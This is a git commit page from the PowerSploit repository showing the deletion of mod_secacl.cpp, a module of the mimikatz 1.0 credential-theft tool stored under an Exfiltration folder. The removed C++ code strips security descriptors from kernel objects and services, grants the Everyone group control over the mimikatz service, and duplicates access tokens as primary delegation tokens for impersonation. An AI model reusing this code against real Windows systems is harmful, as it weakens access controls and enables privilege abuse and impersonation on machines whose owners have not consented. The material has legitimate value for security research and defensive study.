aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
diff options
context:
space:
mode:
authorclymb3r <bialek.joseph@gmail.com>2014-04-16 21:02:50 -0700
committerclymb3r <bialek.joseph@gmail.com>2014-04-16 21:02:50 -0700
commitb783b459c12112509a733253df9f5935e104200c (patch)
treee58bce1f7d2f2584d1426262cc609f153d774e51 /Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
parent47b90647c11cb4956c735cfa47628dc7dcb03bb6 (diff)
parent946328cf9e6d6c60eca2bb9d71a38e210c1c3b6c (diff)
downloadPowerSploit-b783b459c12112509a733253df9f5935e104200c.tar.gz
PowerSploit-b783b459c12112509a733253df9f5935e104200c.zip
Merge branch 'master' of https://github.com/mattifestation/PowerSploit
Conflicts: Recon/Get-ComputerDetails.ps1 Recon/Recon.psd1
Diffstat (limited to 'Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp162
1 files changed, 0 insertions, 162 deletions
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
deleted file mode 100644
index c14632c..0000000
--- a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
+++ /dev/null
@@ -1,162 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "mod_secacl.h"
-
-bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType)
-{
- PSECURITY_DESCRIPTOR newSD = NULL;
- ULONG laTaille;
- bool succes = false;
-
- if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS)
- {
- switch(monType)
- {
- case SE_KERNEL_OBJECT:
- succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0;
- break;
- case SE_SERVICE:
- succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0;
- break;
- }
- LocalFree(newSD);
- }
-
- return succes;
-}
-
-bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle)
-{
- bool reussite = false;
- DWORD dwSizeNeeded = 0;
- SECURITY_DESCRIPTOR monSd;
- if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
- {
- PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded];
- if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded))
- {
- SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
- PSID pEveryoneSID = NULL;
- if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
- {
- EXPLICIT_ACCESS ForEveryOne;
- RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS));
- ForEveryOne.grfAccessMode = SET_ACCESS;
- ForEveryOne.grfInheritance = NO_INHERITANCE;
- ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ;
- ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID;
- ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
- ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID);
-
- PSECURITY_DESCRIPTOR newSd = NULL;
- DWORD laTaille;
- if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS)
- {
- reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0;
- LocalFree(newSd);
- }
- FreeSid(pEveryoneSID);
- }
- }
- delete [] oldSd;
- }
- return reussite;
-}
-
-bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid)
-{
- bool reussite = false;
-
- wchar_t * szSid;
- if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0)
- {
- strSid->assign(szSid);
- LocalFree(szSid);
- }
- return reussite;
-}
-
-bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
-{
- bool reussite = false;
-
- DWORD dwSizeName = 0;
- DWORD dwSizeDomain = 0;
- SID_NAME_USE nameUse;
-
- if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
- {
- wchar_t * monNom = new wchar_t[dwSizeName];
- wchar_t * monDomain = new wchar_t[dwSizeDomain];
- if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0)
- {
- strName->assign(monNom);
- if(domainName)
- domainName->assign(monDomain);
-
- if(usage)
- *usage = nameUse;
- }
- delete[] monDomain;
- delete[] monNom;
- }
-
- return reussite;
-}
-
-bool mod_secacl::simpleSidToString(PSID Sid, wstring * String)
-{
- wstring userName;
- wstring domaineName;
- String->clear();
-
- if(Sid)
- {
- if(mod_secacl::sidToName(Sid, &userName, &domaineName))
- {
- String->assign(domaineName);
- String->push_back(L'\\');
- String->append(userName);
- }
- else
- mod_secacl::sidToStrSid(Sid, String);
- }
- if(String->empty())
- String->assign(L"(null)");
-
- return true;
-}
-
-bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
-{
- bool reussite = false;
-
- DWORD szNeeded = 0;
- if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
- {
- BYTE * mesDonnees = new BYTE[szNeeded];
- if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded))
- {
- TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees);
- reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage);
- }
- delete[] mesDonnees;
- }
-
- return reussite;
-}
-
-bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle)
-{
- bool reussite = false;
- HANDLE secToken;
- if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0)
- {
- CloseHandle(*tokenHandle);
- *tokenHandle = secToken;
- }
- return reussite;
-} \ No newline at end of file